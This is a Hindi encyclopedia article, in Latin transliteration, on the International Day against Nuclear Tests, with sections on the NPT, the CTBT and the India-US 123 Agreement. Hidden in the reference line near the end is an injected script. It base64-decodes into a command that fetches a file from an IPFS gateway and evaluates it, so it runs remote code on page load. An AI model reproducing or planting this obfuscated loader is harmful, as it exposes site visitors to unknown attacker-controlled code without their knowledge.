परमाणु परीक्षण विरोधी अंतरराष्ट्रीय दिवस
paramanu parikshan virodhi aantararashtriy divas
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| vivaran | 'paramanu parikshan virodhi aantararashtriy divas' sanyukt rashtr ke sadasy rashtroan, aantar sarakari aur gair-sarakari sangathanoan aur midiya ko soochit, shikshit aur paramanu hathiyar parikshan par pratibandh lagane ki avashyakata par bal deta hai. |
| tithi | 29 agast |
| shuruat | 2010 se |
| uddeshy | logoan mean paramanu hathiyaroan se hone vale nukasan evan unake dushprabhavoan ke bare mean unhean jagaruk karana |
| any janakari | vyapak paramanu parikshan pratibandh sandhi (sitibiti) ko hi kaanprehensiv test bain triti kaha jata hai. yah ek aisa samajhauta hai, jisake jarie paramanu parikshanoan ko pratibandhit kiya gaya hai. |
paramanu parikshan virodhi aantararashtriy divas (aangrezi: International Day against Nuclear Tests) pratyek varsh 29 agast ko manaya jata hai. isaka uddeshy logoan mean paramanu hathiyaroan se hone vale nukasan evan unake dushprabhavoan ke bare mean unhean jagaruk karana hai. 2 disambar, 2009 ko sanyukt rashtr mahasabha ke 64vean satr mean 29 agast ko paramanu parikshan virodhi aantararashtriy divas ke roop mean ghoshit kiya gaya tha. yah pahali bar varsh 2010 mean manaya gaya tha.
kajakhistan dvara semipalatinsk mean 29 agast, 1991 ko kiye gaye paramanu parikshan ke khilaph prastav laya gaya tha, jise any deshoan ne bhi samarthan pradan kiya. yah divas sanyukt rashtr ke sadasy rashtroan, aantar sarakari aur gair-sarakari sangathanoan aur midiya ko soochit, shikshit aur paramanu hathiyar parikshan par pratibandh lagane ki avashyakata par bal deta hai. pratyek varsh is avasar par vibhinn sabhaean, sammelan, pradarshaniyaan evan pratiyogitaean ayojit karaee jati haian.
vishv bhar mean paramanu parikshan
bisavian sadi mean kee deshoan ne paramanu parikshan kie the. pahala paramanu parikshan amerika ne 16 julaee, 1945 mean kiya tha, jisamean 20 kilotan ka parikshan kiya gaya tha. ab tak ka sabase b da paramanu parikshan soviyat roos mean aktoobar, 1961 ko kiya gaya tha, jisamean 50 megatan ke hathiyar ka parikshan kiya gaya tha. 2009 mean uttari koriya ne paramanu parikshan kiya tha, jise vishv ke adhikaansh deshoan ne niandaniy bataya. vishv ke paramanu shakti sanpann rashtroan ne ab tak kam se kam 2000 paramanu parikshan kiye haian.[1]
paramanu aprasar sandhi
- paramanu aprasar sandhi (n aaun pr aauliphareshan triti) ko enapiti ke nam se jana jata hai. isaka uddeshy vishv bhar mean paramanu hathiyaroan ke prasar ko rokane ke sath-sath paramanu parikshan par aankush lagana hai. 1 julaee, 1968 se is samajhaute par hastakshar hona shuroo hua. abhi is sandhi par hastakshar kar chuke deshoan ki sankhya 190 hai. jisamean paanch ke pas anvik hathiyar haian. ye desh haian- amerika, briten, fraans, roos aur chin.
- sirph char sanprabhuta sanpann desh isake sadasy nahian haian. ye haian- bharat, ijarayal, pakistan aur uttari koriya. enapiti ke tahat bharat ko paramanu sanpann desh ki manyata nahian di gee hai. jo isake dohare mapadand ko pradarshit karati hai. is sandhi ka prastav ayaralaiand ne rakha tha aur sabase pahale hastakshar karane vala rashtr phinalaiand tha.
- is sandhi ke tahat paramanu shakti sanpann rashtr use hi mana gaya hai, jisane 1 janavari, 1967 se pahale paramanu hathiyaroan ka nirman aur parikshan kar liya ho. is adhar par hi bharat ko yah darja aantararashtriy star par nahian prapt hai. kyoanki bharat ne pahala paramanu parikshan 1974 mean kiya tha. uttari koriya ne is sandhi par hastakshar kiye, phir isaka ullanghan kiya evan isase bahar a gaya.
vyapak paramanu parikshan pratibandh sandhi
- vyapak paramanu parikshan pratibandh sandhi (sitibiti) ko hi kaanprehensiv test bain triti kaha jata hai. yah ek aisa samajhauta hai, jisake jarie paramanu parikshanoan ko pratibandhit kiya gaya hai. yah sandhi 24 sitanbar, 1996 ko astitv mean ayi. ab tak is par 183 deshoan ne hastakshar kar die haian.
- bharat aur pakistan ne sitibiti par ab tak hastakshar nahian kiya hai. isake tahat paramanu parikshanoan ko pratibandhit karane ke sath yah pravadhan bhi kiya gaya hai ki sadasy desh apane niyantran mean ane vale kshetrean mean bhi paramanu parikshan ko niyantrit kareange.[1]
123 samajhauta
- '123 samajhauta' nam se prasiddh yah samajhauta amerika ke paramanu oorja adhiniyam 1954 ki dhara 123 ke tahat kiya gaya hai. isalie ise 123 samajhauta kahate haian. satrah anuchchhedoan ke is samajhaute ka poora nam hai- "bharat sarakar aur sanyukt rajy amerika ki sarakar ke bich nabhikiy oorja ke shaantipoorn prayog ke lie sahayog ka samajhauta."
- isake svaroop par bharat aur amerika ke bich 1 agast, 2007 ko sahamati huee. amerika ab tak lagabhag pachchis deshoan ke sath yah samajhauta kar chuka hai. is samajhaute ke abhilekh mean amerika ne bharat ko anavik hathiyar sanpann desh nahian mana hai, balki isamean yah kaha gaya hai ki anavik aprasar sandhi ke lie amerika ne bharat ko vishesh mahatv diya hai.
vaishvik paramanu shaktiyoan ko apas mean hathiyaroan ki ho d se bachakar paramanu oorja ka manavata ki bhalaee ke lie upayog karana chahie. japan mean paramanu bam se huee trasadi vishv ke lie ek katu udaharan hai. bhavishy mean hone vale kisi bhi paramanu parikshan ke virodh mean poore vishv ko ekasath kh da hona chahie tatha sabhi paramanu hathiyaroan se sanpann deshoan ko paramanu nirastrikaran ki disha mean kary karana chahie.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 29 agast: paramanu parikshan virodhi aantarrashtriy divas (hiandi) onlinetyari.com. abhigaman tithi: 16 joon, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
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